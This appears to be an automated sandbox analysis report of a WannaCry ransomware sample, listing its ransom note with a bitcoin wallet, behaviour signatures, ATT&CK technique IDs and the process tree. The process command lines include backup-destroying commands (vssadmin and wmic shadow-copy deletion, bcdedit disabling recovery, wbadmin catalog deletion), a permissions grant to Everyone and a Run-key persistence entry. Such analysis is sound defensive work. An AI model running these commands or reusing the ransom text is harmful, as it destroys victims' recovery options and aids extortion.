Overview

overview

10

task1

 

10

task2

 

10

Resubmissions

02-12-2019 09:09

191202-3peefk1fgj 10

25-11-2019 09:33

191125-mlb76vzzln 0

13-11-2019 08:52

191113-bdf8dc3pq6 0

13-11-2019 07:11

191113-f1dft78f6s 0

13-11-2019 07:10

191113-591nb65hbx 0

30-10-2019 14:27

191030-9pe7klare6 0

Analysis

  • max time kernel
    142s
  • max time network
    150s
  • resource
    win10v191014

Sharing

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General

  • Target

    test.zip

  • Sample

    191125-mlb76vzzln

  • SHA256

    72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5

Score
N/A

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note
Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Uses Volume Shadow Copy Service COM API 13 IoCs
    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Executes dropped EXE 14 IoCs
  • Wannacry file encrypt 64 IoCs
  • Loads dropped DLL 1 IoCs
  • Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Deletes shadow copies 2 TTPs 2 IoCs
    ransomware
  • Modifies registry key 1 TTPs 1 IoCs
  • Adds Run entry to start application 2 TTPs 1 IoCs
    persistence
  • Drops file in system dir 5 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Drops Office document 29 IoCs
    dropperexploitermaldoc
  • Drops startup file 6 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • wannacry family
    familywannacry

Processes

  • C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
    "C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Wannacry file encrypt
    • Drops Office document
    • Drops startup file
    • Sets desktop wallpaper using registry
    PID:4896
  • C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    1⤵
    • Views/modifies file attributes
    PID:4924
  • C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    1⤵
    • Modifies file permissions
    PID:4932
  • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
    taskdl.exe
    1⤵
    • Executes dropped EXE
    PID:1012
  • C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 291411574678040.bat
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1908
  • C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    1⤵
      PID:3844
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s lfsvc
      1⤵
        PID:3168
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        1⤵
        • Executes dropped EXE
        PID:4500
      • C:\Windows\system32\SppExtComObj.exe
        C:\Windows\system32\SppExtComObj.exe -Embedding
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:4980
      • C:\Windows\System32\SLUI.exe
        "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
        1⤵
          PID:5116
        • C:\Users\Admin\AppData\Local\Temp\@[email protected]
          @[email protected] co
          1⤵
          • Suspicious use of WriteProcessMemory
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:5048
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c start /b @[email protected] vs
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:5056
        • C:\Users\Admin\AppData\Local\Temp\@[email protected]
          @[email protected] vs
          1⤵
          • Suspicious use of WriteProcessMemory
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          PID:5088
        • C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
          TaskData\Tor\taskhsvc.exe
          1⤵
          • Suspicious behavior: EnumeratesProcesses
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1008
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:4268
        • C:\Windows\SysWOW64\vssadmin.exe
          vssadmin delete shadows /all /quiet
          1⤵
          • Uses Volume Shadow Copy Service COM API
          • Deletes shadow copies
          PID:3888
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
          • Uses Volume Shadow Copy Service COM API
          • Suspicious use of AdjustPrivilegeToken
          PID:1864
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic shadowcopy delete
          1⤵
          • Deletes shadow copies
          • Suspicious use of AdjustPrivilegeToken
          PID:4204
        • C:\Users\Admin\AppData\Local\Temp\taskse.exe
          taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:512
        • C:\Users\Admin\AppData\Local\Temp\@[email protected]
          @[email protected]
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Sets desktop wallpaper using registry
          PID:520
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:568
        • C:\Windows\SysWOW64\reg.exe
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
          1⤵
          • Modifies registry key
          • Adds Run entry to start application
          PID:1904
        • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
          taskdl.exe
          1⤵
          • Executes dropped EXE
          PID:4936
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s BITS
          1⤵
          • Drops file in system dir
          PID:1352
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
          1⤵
            PID:1812
          • C:\Users\Admin\AppData\Local\Temp\taskse.exe
            taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
            1⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:2464
          • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
            taskdl.exe
            1⤵
            • Executes dropped EXE
            PID:4500
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
            1⤵
            • Checks system information in the registry (likely anti-VM)
            PID:5056
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k unistacksvcgroup
            1⤵
              PID:4576
            • \??\c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
              1⤵
              • Windows security modification
              PID:4328
            • C:\Users\Admin\AppData\Local\Temp\taskse.exe
              taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
              1⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:4016
            • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
              taskdl.exe
              1⤵
              • Executes dropped EXE
              PID:4628

            Network

            MITRE ATT&CK Enterprise v15

            MITRE ATT&CK Additional techniques

            • T1158
            • T1107
            • T1060
            • T1089

            Replay Monitor

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            Downloads

            • memory/1008-390-0x0000000003580000-0x0000000003581000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-62-0x0000000003580000-0x0000000003581000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-63-0x0000000003D80000-0x0000000003D81000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-64-0x0000000003580000-0x0000000003581000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-148-0x0000000003580000-0x0000000003581000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-226-0x0000000003580000-0x0000000003581000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-227-0x0000000003D80000-0x0000000003D81000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-228-0x0000000003580000-0x0000000003581000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-391-0x0000000003AB0000-0x0000000003AB1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-392-0x00000000042B0000-0x00000000042B1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-393-0x0000000003AB0000-0x0000000003AB1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/1008-487-0x0000000003AB0000-0x0000000003AB1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4896-36-0x0000000010000000-0x0000000010010000-memory.dmp

              Filesize

              64KB

              Download